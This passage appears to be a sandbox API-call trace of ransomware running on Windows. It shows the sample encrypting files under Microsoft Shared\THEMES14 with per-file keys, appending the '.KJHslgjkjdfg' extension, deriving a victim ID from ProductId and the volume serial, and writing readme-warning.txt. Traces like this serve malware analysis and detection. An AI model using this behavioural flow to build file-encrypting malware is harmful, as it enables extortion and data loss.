lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.805] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.805] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.805] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.805] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.806] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.806] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.806] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7f5f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x7f5f, lpOverlapped=0x0) returned 1 [0171.810] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7f60, dwBufLen=0x7f60 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7f60) returned 1 [0171.810] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.810] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7f60, lpOverlapped=0x0) returned 1 [0171.811] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.811] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x8034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.811] SetEndOfFile (hFile=0x12c) returned 1 [0171.814] GetProcessHeap () returned 0x990000 [0171.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.814] GetProcessHeap () returned 0x990000 [0171.814] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.824] CloseHandle (hObject=0x12c) returned 1 [0171.825] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.825] GetProcessHeap () returned 0x990000 [0171.825] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.825] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.825] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.825] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.825] GetProcessHeap () returned 0x990000 [0171.825] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.825] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.825] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.825] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.825] GetProcessHeap () returned 0x990000 [0171.825] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.825] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.825] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.825] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.825] GetProcessHeap () returned 0x990000 [0171.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.826] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.826] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.826] GetProcessHeap () returned 0x990000 [0171.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.826] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.826] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.826] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.826] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.826] RegCloseKey (hKey=0x12c) returned 0x0 [0171.826] GetProcessHeap () returned 0x990000 [0171.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.826] GetProcessHeap () returned 0x990000 [0171.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.826] GetProcessHeap () returned 0x990000 [0171.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.827] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.827] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.827] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.827] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.827] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.827] GetProcessHeap () returned 0x990000 [0171.827] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.827] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.827] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.827] GetProcessHeap () returned 0x990000 [0171.827] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.827] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\readme-warning.txt") returned 81 [0171.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.829] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.831] CloseHandle (hObject=0x12c) returned 1 [0171.831] GetProcessHeap () returned 0x990000 [0171.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.831] GetProcessHeap () returned 0x990000 [0171.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.831] GetProcessHeap () returned 0x990000 [0171.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.831] GetProcessHeap () returned 0x990000 [0171.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.831] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.831] GetProcessHeap () returned 0x990000 [0171.831] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0171.831] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0171.832] GetProcessHeap () returned 0x990000 [0171.832] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0171.832] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.832] GetProcessHeap () returned 0x990000 [0171.832] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0171.832] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.832] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0171.832] GetProcessHeap () returned 0x990000 [0171.832] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0171.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.834] GetProcessHeap () returned 0x990000 [0171.834] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.834] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.834] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.834] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0171.836] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.836] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.836] GetProcessHeap () returned 0x990000 [0171.837] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.837] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.837] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.837] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.837] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.837] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.837] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.837] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.837] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.837] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.838] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.838] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe1ba, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xe1ba, lpOverlapped=0x0) returned 1 [0171.839] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe1c0, dwBufLen=0xe1c0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe1c0) returned 1 [0171.840] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.840] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe1c0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xe1c0, lpOverlapped=0x0) returned 1 [0171.840] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.840] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xe294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.841] SetEndOfFile (hFile=0x12c) returned 1 [0171.844] GetProcessHeap () returned 0x990000 [0171.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.844] GetProcessHeap () returned 0x990000 [0171.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.kjhslgjkjdfg")) returned 1 [0171.845] CloseHandle (hObject=0x12c) returned 1 [0171.845] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0171.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.845] GetProcessHeap () returned 0x990000 [0171.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.845] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.845] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.846] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0171.847] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.848] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.848] GetProcessHeap () returned 0x990000 [0171.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.848] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.848] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.848] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.848] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.848] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.848] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.849] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.849] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.849] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.849] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.849] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.849] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1f5, lpOverlapped=0x0) returned 1 [0171.849] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200, dwBufLen=0x200 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x200) returned 1 [0171.849] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.849] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x200, lpOverlapped=0x0) returned 1 [0171.849] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.849] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.849] SetEndOfFile (hFile=0x12c) returned 1 [0171.852] GetProcessHeap () returned 0x990000 [0171.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.852] GetProcessHeap () returned 0x990000 [0171.852] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.kjhslgjkjdfg")) returned 1 [0171.860] CloseHandle (hObject=0x12c) returned 1 [0171.860] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft 